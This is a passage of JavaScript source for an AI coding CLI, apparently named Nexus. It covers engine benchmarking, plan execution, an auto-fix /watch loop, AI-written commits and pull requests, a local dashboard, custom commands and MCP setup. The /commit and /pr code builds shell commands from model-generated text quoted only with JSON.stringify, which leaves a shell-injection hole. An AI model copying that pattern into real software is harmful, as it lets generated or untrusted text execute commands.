      const cards = members.map((e, i) => ({ type: "tool", id: "bn" + i, name: "Task", label: "Task(" + e + ")", status: "run", start: Date.now(), detail: e }));
      cards.forEach((c) => block.items.push(c)); startTick(); render();
      const benchOne = (e) => new Promise((resolve) => { const s = Date.now(); (async () => {
        if (e === "claude") { let inTok = 0, outTok = 0, cost = 0, txt = ""; await runClaudeStream(prompt, cwd, false, { onText: (t) => { txt += t; }, onResult: (ev) => { const u = ev.usage || {}; inTok = (u.input_tokens || 0) + (u.cache_read_input_tokens || 0) + (u.cache_creation_input_tokens || 0); outTok = u.output_tokens || 0; if (typeof ev.total_cost_usd === "number") cost = ev.total_cost_usd; } }, ctl, { readonly: true, disallow: READONLY_TOOLS }); resolve({ e, ms: Date.now() - s, inTok, outTok, cost, real: true }); }
        else { let out = ""; try { if (e === "ollama") { const mdl = sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags()); out = await ollamaChat(mdl, [{ role: "user", content: prompt }], undefined, aSignal(ctl)); } else { out = (await runEngineTask(e, prompt, cwd, false, false, null, ctl)).output; } } catch (_) {} resolve({ e, ms: Date.now() - s, inTok: Math.ceil(prompt.length / 4), outTok: Math.ceil((out || "").length / 4), cost: 0, real: false }); }
      })(); });
      Promise.all(members.map((e, i) => Promise.race([benchOne(e), new Promise((r) => setTimeout(() => r({ e, ms: 60000, inTok: 0, outTok: 0, cost: 0, real: false, to: true }), 60000))]).then((r) => { cards[i].status = r.to ? "err" : "ok"; cards[i].end = Date.now(); render(); return r; })))
        .then((res) => {
          res.sort((a, b) => a.ms - b.ms);
          const fastest = res[0] && res[0].e;
          const pad = (s, n) => (s + " ".repeat(n)).slice(0, n);
          let tbl = pad("engine", 10) + pad("time", 9) + pad("in", 8) + pad("out", 8) + "cost\n";
          for (const r of res) tbl += pad(r.e + (r.e === fastest ? " *" : ""), 10) + pad((r.ms / 1000).toFixed(1) + "s", 9) + pad((r.real ? "" : "~") + fmtK(r.inTok), 8) + pad((r.real ? "" : "~") + fmtK(r.outTok), 8) + (r.real ? (r.cost ? "$" + r.cost.toFixed(4) : "-") : "free") + "\n";
          ensureText().full = "benchmark (* = fastest; ~ = estimated; claude tokens/cost are real):\n\n" + tbl;
          busy = false; ctl = null; block.summary = res.length + " engines benchmarked  ·  " + ((Date.now() - t0) / 1000).toFixed(1) + "s"; try { saveSession(); } catch (_) {} render();
        }).catch(() => { busy = false; ctl = null; render(); });
    };
    // /plan — generate an editable, executable task checklist
    const planGen = (goal) => {
      transcript.push({ role: "user", text: "/plan  " + goal });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Planning"; ctl = makeCtl();
      const card = { type: "tool", id: "pl", name: "Task", label: "Task(plan)", status: "run", start: Date.now() }; block.items.push(card); startTick(); render();
      (async () => {
        let mdl = ""; if (engine === "ollama") mdl = sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags());
        let tasks = []; try { if (cowork.on) { const raw = await weakChat("Break this GOAL into an ordered list of 5-15 concrete, independently-verifiable tasks. Return ONLY a JSON array of short task strings.\n\nGOAL: " + goal + (nexusMd ? "\n\nPROJECT:\n" + nexusMd.slice(0, 1000) : "")); const arr = extractJson(raw, null); tasks = (Array.isArray(arr) && arr.length ? arr : [goal]).slice(0, 20).map((t, i) => ({ title: String(t).slice(0, 300) })); } else tasks = await planGoal(engine, mdl, goal, nexusMd); } catch (_) {}
        plan = (tasks || []).map((t) => ({ text: String(t.title || t).slice(0, 300), done: false })); savePlan();
        card.status = "ok"; card.end = Date.now();
        ensureText().full = "planned " + plan.length + " task(s). /plan run to execute · /plan done <n> to check off · /plan add <text> to add.";
        busy = false; ctl = null; transcript.push({ role: "plan" }); try { saveSession(); } catch (_) {} render();
      })();
    };
    const runPlan = () => {
      if (!plan.some((t) => !t.done)) { transcript.push({ role: "system", text: "no unfinished tasks in the plan" }); render(); return; }
      transcript.push({ role: "user", text: "/plan run" });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      const ck = nexusCheckpoint(cwd); if (ck) checkpoints.push({ tree: ck, label: "plan run", ts: Date.now() });
      scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Executing"; ctl = makeCtl(); startTick(); render();
      (async () => {
        for (let i = 0; i < plan.length; i++) {
          if (ctl && ctl.stopped) break;
          const t = plan[i]; if (t.done) continue;
          t.running = true; const card = { type: "tool", id: "pt" + i, name: "Task", label: "Task(" + oneline(t.text, 30) + ")", status: "run", start: Date.now() }; block.items.push(card); activeAgents = 1; render();
          const delegate = wantWeak(t.text);
          if (delegate) { impact.delegated++; const est = Math.ceil(t.text.length / 4) + 800; impact.coworkSaved += Math.max(priceOf(cowork.strong).out - (cowork.weakKind === "ollama" ? 0 : priceOf(cowork.weak).out), 0) * (est * 3) / 1e6; card.label += " " + gray("· " + (cowork.weakKind === "ollama" ? "local:" : "") + cowork.weak); }
          try { if (delegate) { await weakTask(t.text); } else if (engine === "ollama") { const mdl = sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags()); await ollamaExec(mdl, t.text, "", cwd, aSignal(ctl)); } else { await runEngineTask(engine, t.text, cwd, true, false, null, ctl, cowork.on && engine === "claude" ? cowork.strong : undefined); } } catch (_) {}
          t.running = false; t.done = true; savePlan(); card.status = "ok"; card.end = Date.now(); activeAgents = 0; render();
        }
        ensureText().full = plan.every((t) => t.done) ? "all plan tasks completed." : "stopped — some tasks remain (/plan run to resume).";
        busy = false; ctl = null; transcript.push({ role: "plan" }); try { saveSession(); } catch (_) {} maybeAutoCompact(); render();
      })();
    };
    // /watch <cmd> — run a command; if it fails, have the engine fix the code and re-run, up to 5 tries
    const watchFix = (command) => {
      transcript.push({ role: "user", text: "/watch  " + command });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      const t0 = Date.now(); scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Watching"; ctl = makeCtl();
      const ck = nexusCheckpoint(cwd); if (ck) checkpoints.push({ tree: ck, label: "watch " + command, ts: Date.now() });
      startTick(); render();
      (async () => {
        let passed = false, attempts = 0;
        for (let att = 1; att <= 5 && !(ctl && ctl.stopped); att++) {
          attempts = att;
          const rc = { type: "tool", id: "wr" + att, name: "Bash", label: "Bash(" + oneline(command, 40) + ")", status: "run", start: Date.now() }; block.items.push(rc); render();
          const r = await coderShell(command, cwd); rc.status = r.code === 0 ? "ok" : "err"; rc.end = Date.now(); rc.detail = oneline(r.output, 260); render();
          if (r.code === 0) { const t = ensureText(); t.full += (t.full ? "\n" : "") + "command passed on attempt " + att + "."; passed = true; break; }
          if (att === 5) break;
          const t = ensureText(); t.full += (t.full ? "\n" : "") + "attempt " + att + " failed — asking " + engine + " to fix…"; render();
          const fc = { type: "tool", id: "wf" + att, name: "Task", label: "Task(fix attempt " + att + ")", status: "run", start: Date.now() }; block.items.push(fc); activeAgents = 1; render();
          const fixPrompt = "The command `" + command + "` is failing. Its output was:\n\n" + (r.output || "").slice(-3000) + "\n\nEdit the code so the command passes. Make the file edits now — do not ask questions.";
          try { if (engine === "ollama") { const mdl = sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags()); await ollamaExec(mdl, fixPrompt, "", cwd, aSignal(ctl)); } else { await runEngineTask(engine, fixPrompt, cwd, true, false, null, ctl); } } catch (_) {}
          fc.status = "ok"; fc.end = Date.now(); activeAgents = 0; render();
        }
        for (const it of block.items) if (it.status === "run") { it.status = "ok"; it.end = Date.now(); }
        const t = ensureText(); t.full += (passed ? "\n\nAll green." : "\n\nStill failing after " + attempts + " attempt(s) — review the output above.");
        busy = false; ctl = null; block.summary = "watch  ·  " + attempts + " attempt(s)  ·  " + ((Date.now() - t0) / 1000).toFixed(1) + "s" + (ck ? "  ·  undo #" + checkpoints.length : "");
        try { saveSession(); } catch (_) {} maybeAutoCompact(); render();
      })();
    };
    // /commit — write an AI commit message for the working diff and commit
    const commitChanges = () => {
      let diff = ""; try { _cp.execSync("git add -A", { cwd, stdio: "ignore" }); diff = _cp.execSync("git diff --cached", { cwd, encoding: "utf8" }); } catch (_) { transcript.push({ role: "system", text: "/commit needs a git repo" }); render(); return; }
      if (!diff.trim()) { transcript.push({ role: "system", text: "nothing to commit" }); render(); return; }
      transcript.push({ role: "user", text: "/commit" });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Composing"; ctl = makeCtl();
      const card = { type: "tool", id: "cm", name: "Task", label: "Task(commit message)", status: "run", start: Date.now() }; block.items.push(card); startTick(); render();
      (async () => {
        const prompt = "Write a Conventional-Commits message for this diff: a single subject line under 72 chars (type: summary), optionally a short body. Output ONLY the message, no backticks, no preamble.\n\n" + diff.slice(0, 6000);
        let msg = ""; try { if (cowork.on) msg = await weakChat(prompt); else if (engine === "ollama") { const mdl = sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags()); msg = await ollamaChat(mdl, [{ role: "user", content: prompt }], undefined, aSignal(ctl)); } else { msg = (await runEngineTask(engine, prompt, cwd, false, false, null, ctl, auxModel())).output; } } catch (_) {}
        msg = (msg || "").replace(/```[a-z]*\n?|```/g, "").trim().split("\n").slice(0, 8).join("\n").trim() || "chore: update";
        card.status = "ok"; card.end = Date.now();
        let done = false; try { const subj = msg.split("\n")[0], body = msg.split("\n").slice(1).join("\n").trim(); _cp.execSync("git commit -m " + JSON.stringify(subj) + (body ? " -m " + JSON.stringify(body) : ""), { cwd, stdio: "ignore" }); done = true; } catch (_) {}
        ensureText().full = (done ? "committed:\n\n" : "generated message (commit failed — commit manually):\n\n") + msg;
        busy = false; ctl = null; try { saveSession(); } catch (_) {} render();
      })();
    };
    const openPr = () => {
      let branch = "", diff = "", base = "main";
      try { branch = _cp.execSync("git rev-parse --abbrev-ref HEAD", { cwd, encoding: "utf8" }).trim(); } catch (_) { transcript.push({ role: "system", text: "/pr needs a git repo" }); render(); return; }
      try { base = (_cp.execSync("git remote show origin 2>/dev/null | sed -n 's/.*HEAD branch: //p'", { cwd, encoding: "utf8" }).trim()) || "main"; } catch (_) {}
      try { diff = _cp.execSync("git -c color.ui=never diff " + JSON.stringify(base) + "...HEAD", { cwd, encoding: "utf8" }); } catch (_) {}
      if (!diff.trim()) { try { diff = _cp.execSync("git -c color.ui=never diff HEAD", { cwd, encoding: "utf8" }); } catch (_) {} }
      if (!diff.trim()) { transcript.push({ role: "system", text: "no changes to open a PR for — commit or make changes first" }); render(); return; }
      transcript.push({ role: "user", text: "/pr" });
      const block = { role: "nexus", items: [] }; transcript.push(block);
      scroll = 0; busy = true; busyStart = Date.now(); busyWord = "Composing"; ctl = makeCtl();
      const card = { type: "tool", id: "pr", name: "Task", label: "Task(pull request)", status: "run", start: Date.now() }; block.items.push(card); startTick(); render();
      (async () => {
        const prompt = "Write a GitHub pull-request title and body for this diff. Line 1 = a concise title (under 72 chars). Then a blank line, then a Markdown body: a one-line summary, a bulleted list of key changes, and a final 'Testing:' line. Output ONLY the title and body — no backticks, no preamble.\n\n" + diff.slice(0, 4000);
        let msg = ""; try { if (cowork.on) msg = await weakChat(prompt); else if (engine === "ollama") { const mdl = sess.model && sess.model !== engine ? sess.model : pickCoderModel(await ollamaTags()); msg = await ollamaChat(mdl, [{ role: "user", content: prompt }], undefined, aSignal(ctl)); } else { msg = (await runEngineTask(engine, prompt, cwd, false, false, null, ctl, auxModel())).output; } } catch (_) {}
        msg = (msg || "").replace(/```[a-z]*\n?|```/g, "").trim();
        const title = (msg.split("\n")[0] || "").trim() || (branch + " changes");
        const body = msg.split("\n").slice(1).join("\n").trim();
        card.status = "ok"; card.end = Date.now();
        let out = "", opened = false;
        if (hasBin("gh")) {
          try { out = _cp.execSync("gh pr create --title " + JSON.stringify(title) + " --body " + JSON.stringify(body || title) + " 2>&1", { cwd, encoding: "utf8" }).trim(); opened = /https?:\/\//.test(out); }
          catch (e) { out = ((e.stdout || "") + (e.stderr || "") || e.message || "").toString().trim(); }
        }
        ensureText().full = opened
          ? "pull request opened:\n" + out
          : (hasBin("gh") ? "gh couldn't open the PR (" + out.slice(0, 200) + ") — title & body below:\n\n" : "gh CLI not installed — PR title & body (create it manually):\n\n") + title + "\n\n" + body;
        busy = false; ctl = null; try { saveSession(); } catch (_) {} render();
      })();
    };
    // ---- slash commands ----
    const saveSession = () => { try { fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(path.join(cwd, ".nexus", "session.json"), JSON.stringify({ engine, model: sess.model, transcript, sess, ts: Date.now() })); secureNexus(cwd); } catch (_) {} };

    // ---- localhost dashboard (/dashboard) — live web view of this agent session ----
    let dashServer = null;              // { url, port, close } once started
    const _pipeCache = { ts: 0, data: null }; // throttle the (blocking) glitch observe shell-out
    const pipeInfo = () => {
      try {
        const P = require("./lib/nexus/pipelines");
        if (!P.hasGlitch || !P.hasGlitch()) return { engine: false };
        if (Date.now() - _pipeCache.ts > 15000) {
          _pipeCache.ts = Date.now();
          let text = ""; try { text = (P.observePipelines(cwd) || "").toString().trim(); } catch (_) {}
          _pipeCache.data = { engine: true, text: text.slice(0, 4000) };
        }
        return _pipeCache.data || { engine: true, text: "" };
      } catch (_) { return { engine: false }; }
    };
    const dashActivity = () => {
      const out = [];
      for (const b of transcript.slice(-12)) {
        if (!b || b.role === "art") continue;
        if (b.role === "system") out.push("· " + String(b.text || "").split("\n")[0]);
        else if (b.role === "user") out.push("› " + String(b.text || "").replace(/\n/g, " ").slice(0, 120));
        else if (b.role === "diff") out.push("[diff]");
        else if (b.role === "nexus") for (const it of (b.items || [])) {
          if (it.type === "text" && it.full) out.push("nexus: " + it.full.replace(/\n/g, " ").slice(0, 140));
          else if (it.type === "tool") out.push("  [" + (it.status || "run") + "] " + (it.label || it.name || "tool"));
        }
      }
      return out.slice(-18);
    };
    const dashboardState = () => ({
      engine, model: sess.model || engine, paid: !!PAID[engine],
      inTok: sess.inTok || 0, outTok: sess.outTok || 0, cost: sess.cost || 0,
      ctxUsed: sess.ctxUsed || 0, ctxWindow: sess.ctxWindow || CTXW[engine] || 0,
      dir: cwd.replace(os.homedir(), "~"),
      jobs: bgJobs.list(), jobsRunning: bgJobs.running(),
      agents: activeAgents,
      cowork: { on: cowork.on, strong: cowork.strong, weak: cowork.weak, weakKind: cowork.weakKind },
      impact: { delegated: impact.delegated, coworkSaved: impact.coworkSaved },
      plan: plan.map((p) => ({ text: p.text || p.title || "", done: !!p.done, running: !!p.running })),
      pipelines: pipeInfo(),
      activity: dashActivity(),
    });

    const handleSlash = (t) => {
      const sp = t.indexOf(" ");
      const cmd = (sp === -1 ? t : t.slice(0, sp)).toLowerCase();
      const argstr = sp === -1 ? "" : t.slice(sp + 1).trim();
      const arg = argstr.split(/\s+/)[0];
      if (customCmds[cmd]) { let body = customCmds[cmd].body.replace(/\$ARGUMENTS/g, argstr).replace(/\$(\d+)/g, (_, n) => argstr.split(/\s+/)[+n - 1] || ""); submit(body); return; }
      if (cmd === "/help") transcript.push({ role: "system", text: "core:  /help /clear /compact /context /cost /budget /undo /redo /rewind /checkpoints /resume /export /copy /status /doctor /update /autoupdate /init /model /engine /commands /expand /exit\nsave-cost:  /cheap (preset) · /cowork (strong+weak) · /lean · /effort low · /estimate · /index · /budget · /report (chargeback) · /compliance (SOC2 bundle) · /impact\nunique:  /race · /ensemble · /bench · /review · /ultrareview · /changelog · /watch · /plan · /guard · /gaps · /dream · /commit · /models · /recent · /keys · /diff · /git · /blame · /explain · /test · /index · /todo · /stats · /deps · /env · /snippet · /pin · /secrets · /scan · /agents a ;; b · /tree · /theme · /offline · /redact\nextend:  /feature create <name> <what it does> · /feature remove <name> · /feature list  ·  /dashboard (localhost web UI: live pipelines, jobs & cowork)\ninput:  @file (Tab-completes paths) · !cmd shell · #note memory · end a line with \\ for a newline · MCP & /hooks from .nexus/\nkeys:  shift+tab mode · ctrl+o expand · ctrl+c stop · ↑/↓ history · wheel/PgUp/PgDn/Home/End scroll · / menu" });
      else if (cmd === "/commands") { const ks = Object.keys(customCmds); transcript.push({ role: "system", text: ks.length ? ("custom commands (from .nexus/commands or .claude/commands):\n" + ks.map((k) => "  " + k + "  " + customCmds[k].desc.replace(/ \(custom\)$/, "")).join("\n")) : "no custom commands yet — add a file like .nexus/commands/review.md, then use /review" }); }
      else if (cmd === "/feature" || cmd === "/features") {
        // Let the user grow Nexus themselves: /feature create <name> <what it does> writes an
        // editable .nexus/commands/<name>.md prompt-command that becomes /<name> immediately.
        const ps = argstr.split(/\s+/).filter(Boolean);
        const sub = (ps[0] || "").toLowerCase();
        const cmdsDir = path.join(cwd, ".nexus", "commands");
        if (!sub || sub === "list" || sub === "ls") {
          const ks = Object.keys(customCmds);
          transcript.push({ role: "system", text: ks.length
            ? ("your features (editable .md commands in .nexus/commands):\n" + ks.map((k) => "  " + cyan(k.padEnd(16)) + gray(customCmds[k].desc.replace(/ \(custom\)$/, ""))).join("\n") + "\n  /feature create <name> <what it does>  ·  /feature remove <name>")
            : "no features yet.\n  " + cyan("/feature create <name> <what it should do>") + "\n  e.g. " + gray("/feature create triage  review the current git diff and list risky changes by severity") + "\n  then run " + cyan("/triage") + ".  Each feature is a plain .md file in .nexus/commands you can edit." });
        }
        else if (sub === "create" || sub === "add" || sub === "new") {
          const name = (ps[1] || "").toLowerCase().replace(/^\//, "");
          const desc = ps.slice(2).join(" ").trim();
          const builtins = new Set(CMDS.map((c) => c[0]));
          if (!name || !desc) transcript.push({ role: "system", text: "usage: " + cyan("/feature create <name> <what the feature should do>") + "\n  e.g. /feature create triage  review the current git diff and list risky changes by severity" });
          else if (!/^[a-z][a-z0-9-]{1,30}$/.test(name)) transcript.push({ role: "system", text: red("invalid name '" + name + "'") + " — lowercase letters, numbers and dashes (2–31 chars), starting with a letter." });
          else if (builtins.has("/" + name)) transcript.push({ role: "system", text: red("/" + name + " is a built-in command") + " — pick another name." });
          else {
            const file = path.join(cmdsDir, name + ".md");
            let existed = false; try { existed = fs.existsSync(file); } catch (_) {}
            const body = "# " + desc.replace(/\s+/g, " ").slice(0, 80) + "\n\n" +
              "You are running the user-defined \"/" + name + "\" feature of Nexus.\n\n" +
              "Goal: " + desc + "\n\n" +
              "Carry that out using this repository's context and your available tools. " +
              "Extra arguments the user passed after the command: $ARGUMENTS\n\n" +
              "Be precise and thorough. If anything is ambiguous, state your assumption in one line and proceed.\n";
            try {
              fs.mkdirSync(cmdsDir, { recursive: true });
              fs.writeFileSync(file, body);
              reloadCustomCmds();
              transcript.push({ role: "system", text: (existed ? "updated" : "created") + " feature " + cyan("/" + name) + "\n  run it:  " + cyan("/" + name + " [extra args]") + "\n  stored:  " + gray(path.relative(cwd, file) + "   (edit this file to refine the behavior)") + "\n  remove:  " + gray("/feature remove " + name) });
            } catch (e) { transcript.push({ role: "system", text: red("could not write the feature: " + (e && e.message || e)) }); }
          }
        }
        else if (sub === "remove" || sub === "rm" || sub === "delete") {
          const name = (ps[1] || "").toLowerCase().replace(/^\//, "");
          if (!name) transcript.push({ role: "system", text: "usage: /feature remove <name>   (" + cyan("/feature list") + " to see them)" });
          else {
            const files = [path.join(cwd, ".nexus", "commands", name + ".md"), path.join(cwd, ".claude", "commands", name + ".md")];
            const hit = files.filter((f) => { try { return fs.existsSync(f); } catch (_) { return false; } });
            if (!hit.length) transcript.push({ role: "system", text: "no feature '" + name + "' here — " + cyan("/feature list") + " to see what's defined" });
            else { let ok = true; for (const f of hit) { try { fs.unlinkSync(f); } catch (_) { ok = false; } } reloadCustomCmds(); transcript.push({ role: "system", text: ok ? ("removed feature " + cyan("/" + name) + " " + gray("(" + hit.map((f) => path.relative(cwd, f)).join(", ") + ")")) : red("could not remove some files for '" + name + "'") }); }
          }
        }
        else transcript.push({ role: "system", text: "usage: " + cyan("/feature list") + " · " + cyan("/feature create <name> <description>") + " · " + cyan("/feature remove <name>") });
      }
      else if (cmd === "/dashboard" || cmd === "/ui") {
        const sub = arg.toLowerCase();
        if (sub === "stop" || sub === "off") {
          if (dashServer) { const u = dashServer.url; try { dashServer.close(); } catch (_) {} dashServer = null; transcript.push({ role: "system", text: "dashboard stopped (" + u + ")" }); }
          else transcript.push({ role: "system", text: "dashboard isn't running — /dashboard to start it" });
        } else if (dashServer) {
          transcript.push({ role: "system", text: "dashboard is live — open " + cyan(dashServer.url) + " in your browser\n  /dashboard stop to shut it down" });
        } else {
          const blk = { role: "system", text: "starting the dashboard…" }; transcript.push(blk); render();
          try {
            const { startDashboard } = require("./lib/nexus/dashboard");
            startDashboard({ port: 7979, getState: dashboardState }).then((d) => {
              dashServer = d;
              blk.text = "dashboard live — open " + cyan(d.url) + " in your browser\n  live: pipelines · background jobs · cowork agents · plan · tokens & cost  (updates every second)\n  /dashboard stop to shut it down";
              render();
            }).catch((e) => { blk.text = red("could not start the dashboard: " + (e && e.message || e)); render(); });
          } catch (e) { blk.text = red("dashboard module failed to load: " + (e && e.message || e)); render(); }
        }
      }
      else if (cmd === "/trust") {
        if (trustRepo(cwd)) { _untrustedRepoConfig = false; mcpServers = []; connectMcp().then(() => render()); transcript.push({ role: "system", text: "trusted this workspace (" + gray(cwd) + ") — its .nexus MCP servers now load; hooks apply on next launch." }); }
        else transcript.push({ role: "system", text: red("could not record trust") });
      }
      else if (cmd === "/mcp") {
        const ps = (argstr || "").trim().split(/\s+/).filter(Boolean); const sub = (ps[0] || "").toLowerCase();
        const writeMcp = (cfg) => { try { fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(path.join(cwd, ".nexus", "mcp.json"), JSON.stringify(cfg, null, 2)); return true; } catch (_) { return false; } };
        if (sub === "catalog" || sub === "list") transcript.push({ role: "system", text: "MCP catalog — one-command connect with /mcp add <name>  " + green("(★ = bundled, on by default)") + ":\n" + Object.keys(MCP_CATALOG).map((k) => "  " + (isBundled(k) ? green("★") : " ") + " " + cyan(k.padEnd(20)) + gray(MCP_CATALOG[k].desc) + (MCP_CATALOG[k].needsEnv ? yellow("  [needs " + MCP_CATALOG[k].needsEnv.join(", ") + "]") : "")).join("\n") + "\n  any model then uses them as mcp__<server>__<tool>.  Bundled ones auto-connect (DARKNODE_NO_DEFAULT_MCP=1 to disable)." });
        else if (sub === "add") {
          const name = (ps[1] || "").toLowerCase(); const e = catalogGet(name);
          if (!e) transcript.push({ role: "system", text: name ? ("unknown catalog server '" + name + "' — /mcp catalog to browse") : "usage: /mcp add <name>   (see /mcp catalog)" });
          else { const cfg = addServerToConfig({ mcpServers: loadMcpConfig(cwd) || {} }, name); if (writeMcp(cfg)) { trustRepo(cwd); _untrustedRepoConfig = false; mcpServers = []; connectMcp().then(() => render()); transcript.push({ role: "system", text: "added " + cyan(name) + " → .nexus/mcp.json" + (e.needsEnv ? "\n  " + yellow("set env first: " + e.needsEnv.join(", ")) : "") + (e.note ? "\n  " + gray("note: " + e.note) : "") + "\n  connecting…  " + gray("(first run may npx/uvx-install the server)") }); } else transcript.push({ role: "system", text: "could not write .nexus/mcp.json" }); }
        }
        else if (sub === "remove" || sub === "rm") { const name = (ps[1] || "").toLowerCase(); const cur = loadMcpConfig(cwd) || {}; if (!cur[name]) transcript.push({ role: "system", text: "no server '" + name + "' in .nexus/mcp.json" }); else { writeMcp(removeServerFromConfig({ mcpServers: cur }, name)); mcpServers = []; connectMcp().then(() => render()); transcript.push({ role: "system", text: "removed " + name + " — reconnecting the rest…" }); } }
        else if (sub === "connect" || sub === "reconnect") { mcpServers = []; connectMcp().then(() => render()); transcript.push({ role: "system", text: "reconnecting MCP servers from .nexus/mcp.json…" }); }
        else if (!mcpServers.length && !loadMcpConfig(cwd)) transcript.push({ role: "system", text: (process.env.DARKNODE_NO_DEFAULT_MCP ? "bundled MCP servers are disabled (DARKNODE_NO_DEFAULT_MCP).\n  " : "bundled MCP servers still connecting… (first launch npx/uvx-installs them). Run /mcp again in a moment.\n  ") + cyan("/mcp add github") + gray("   · or playwright · exa · notion · postgres · …  ·  /mcp catalog to browse") + "\n  The claude engine AND any local/API model get the tools." });
        else if (!mcpServers.length) transcript.push({ role: "system", text: "MCP servers are still connecting… run /mcp again in a moment" });
        else transcript.push({ role: "system", text: "MCP servers " + green("(★ = bundled with Nexus)") + ":\n" + mcpServers.map((s) => s.error ? ("  " + red("×") + " " + s.name + (s.bundled ? green(" ★") : "") + "  — " + s.error) : ("  " + green("●") + " " + s.name + (s.bundled ? green(" ★") : "") + "  — " + (s.tools || []).length + " tool(s): " + (s.tools || []).map((t) => t.name).slice(0, 8).join(", "))).join("\n") + "\n  any model calls these as mcp__<server>__<tool>  ·  /mcp add <name> · /mcp catalog · /mcp remove <name>" }); }
      else if (cmd === "/agents" || cmd === "/parallel") { const tasks = argstr.split(/\s*;;\s*/).map((s) => s.trim()).filter(Boolean); if (tasks.length < 2) transcript.push({ role: "system", text: "usage: /agents <task 1> ;; <task 2> ;; …   — runs each task in parallel on the " + engine + " engine, each in its own isolated git worktree, then merges the changes back" }); else spawnAgents(tasks); }
      else if (cmd === "/hooks") { transcript.push({ role: "system", text: hooks ? ("hooks (.nexus/hooks.json) active for events: " + Object.keys(hooks).join(", ") + "\n  PreToolUse/PostToolUse run for the local engine; UserPromptSubmit & Stop run for every engine") : "no hooks configured. Create .nexus/hooks.json:\n  { \"PreToolUse\": [ { \"matcher\": \"run_command|write_file\", \"command\": \"echo $TOOL_NAME >> .nexus/audit.log\" } ] }\n  events: UserPromptSubmit · PreToolUse · PostToolUse · Stop  (non-zero exit on PreToolUse/UserPromptSubmit blocks the action)" }); }
      else if (cmd === "/status") transcript.push({ role: "system", text: "status:\n  engine   " + engine + (sess.model && sess.model !== engine ? " (" + sess.model + ")" : "") + "\n  dir      " + cwd + "\n  mode     " + MODES[mode].k + "\n  context  " + Math.round((sess.ctxUsed / (sess.ctxWindow || 1)) * 100) + "% of " + fmtK(sess.ctxWindow) + "\n  tokens   ↑" + fmtK(sess.inTok) + " ↓" + fmtK(sess.outTok) + (PAID[engine] ? (sess.cost ? " · $" + sess.cost.toFixed(4) : " · billed") : " · local · free") + "\n  budget   " + (costCap ? "$" + costCap.toFixed(2) + " cap" : "none") + "\n  undo     " + checkpoints.length + " checkpoint(s)" });
      else if (cmd === "/update") { const apply = /\b(apply|now|-y|yes)\b/.test(argstr); transcript.push({ role: "system", text: (apply ? "" : "checking for updates…\n") + nexusUpdate({ apply }) }); }
      else if (cmd === "/autoupdate") {
        const a = (argstr || "").trim().toLowerCase();
        const st = readGlobal("state.json", {}) || {};
        if (["on", "check", "off"].includes(a)) { st.autoUpdate = a; delete st.lastUpdateCheck; writeGlobal("state.json", st); transcript.push({ role: "system", text: "auto-update set to " + cyan(a) + gray(a === "on" ? " — Nexus will check on launch and install updates in the background" : a === "check" ? " — Nexus will notify you on launch but not install" : " — Nexus will not check for updates") }); }
        else { const cur = autoUpdateMode(st); transcript.push({ role: "system", text: "auto-update is " + cyan(cur) + " (checked at most every 4h, on launch)\n  " + gray("/autoupdate on") + " install in background   " + gray("/autoupdate check") + " notify only   " + gray("/autoupdate off") + " disable\n  " + gray("/update") + " check now   " + gray("/update apply") + " install now" }); }
      }
      else if (cmd === "/doctor") {
        const blk = { role: "system", text: bold("doctor") + gray("  system health check\n") }; transcript.push(blk); render();
        const ok = (s) => green("●") + " " + s, no = (s) => red("○") + " " + s, warn = (s) => yellow("◐") + " " + s;
        const lines = [];
        lines.push("\n  " + bold("Engines"));
        for (const e of ENGINE_ORDER) { const m = ENGINES[e]; const on = engineAvail(e); lines.push("  " + (on ? ok(e.padEnd(12) + gray(m.label)) : no(e.padEnd(12) + gray(m.label + " — " + m.install)))); }
        lines.push("\n  " + bold("Runtime"));
        lines.push("  " + ok("node".padEnd(12) + gray(process.version)));
        lines.push("  " + (hasBin("git") ? ok("git".padEnd(12) + gray("checkpoints & /undo active")) : no("git".padEnd(12) + gray("install git for /undo"))));
        lines.push("  " + (hasBin("gh") ? ok("gh CLI".padEnd(12) + gray("/pr, /git issues")) : warn("gh CLI".padEnd(6) + gray("  not found — install for /pr"))));
        const freeM = Math.round(require("os").freemem() / 1e6);
        const totalM = Math.round(require("os").totalmem() / 1e6);
        lines.push("  " + (freeM > 500 ? ok : warn)("memory".padEnd(12) + gray(freeM + " MB free / " + totalM + " MB total")));
        lines.push("  " + ok("platform".padEnd(12) + gray(os.platform() + "/" + os.arch())));
        lines.push("\n  " + bold("Project"));
        lines.push("  " + (fs.existsSync(path.join(cwd, ".nexus", "NEXUS.md")) ? ok(".nexus/NEXUS.md") : warn(".nexus/NEXUS.md" + gray("  missing — /init to scaffold"))));
        lines.push("  " + (fs.existsSync(path.join(cwd, ".nexus", "config.json")) ? ok(".nexus/config.json") : warn(".nexus/config.json" + gray("  missing"))));
        lines.push("  " + (fs.existsSync(path.join(cwd, ".nexus", "policy.json")) ? ok("policy.json") : gray("  ○ policy.json  (optional — /policy init)")));
        lines.push("  " + (index ? ok("index".padEnd(14) + gray(Object.keys(index.files || {}).length + " files indexed")) : warn("index".padEnd(14) + gray("not built — /index"))));
        lines.push("  " + (mcpServers.length ? ok("MCP servers".padEnd(14) + gray(mcpServers.filter((s) => !s.error).length + " connected")) : warn("MCP servers".padEnd(14) + gray("none — /mcp catalog"))));
        lines.push("\n  " + bold("Intelligence"));
        lines.push("  " + (secRAG ? ok("Security RAG".padEnd(14) + gray(secRAG.stats().documents + " docs loaded")) : warn("Security RAG".padEnd(14) + gray("not loaded"))));
        lines.push("  " + (learnMod ? (() => { try { const s = learnMod.learningStats(cwd); return ok("Learning".padEnd(14) + gray(s.totalDataPoints + " data points")); } catch (_) { return ok("Learning".padEnd(14) + gray("active, no data yet")); } })() : warn("Learning".padEnd(14) + gray("not loaded"))));
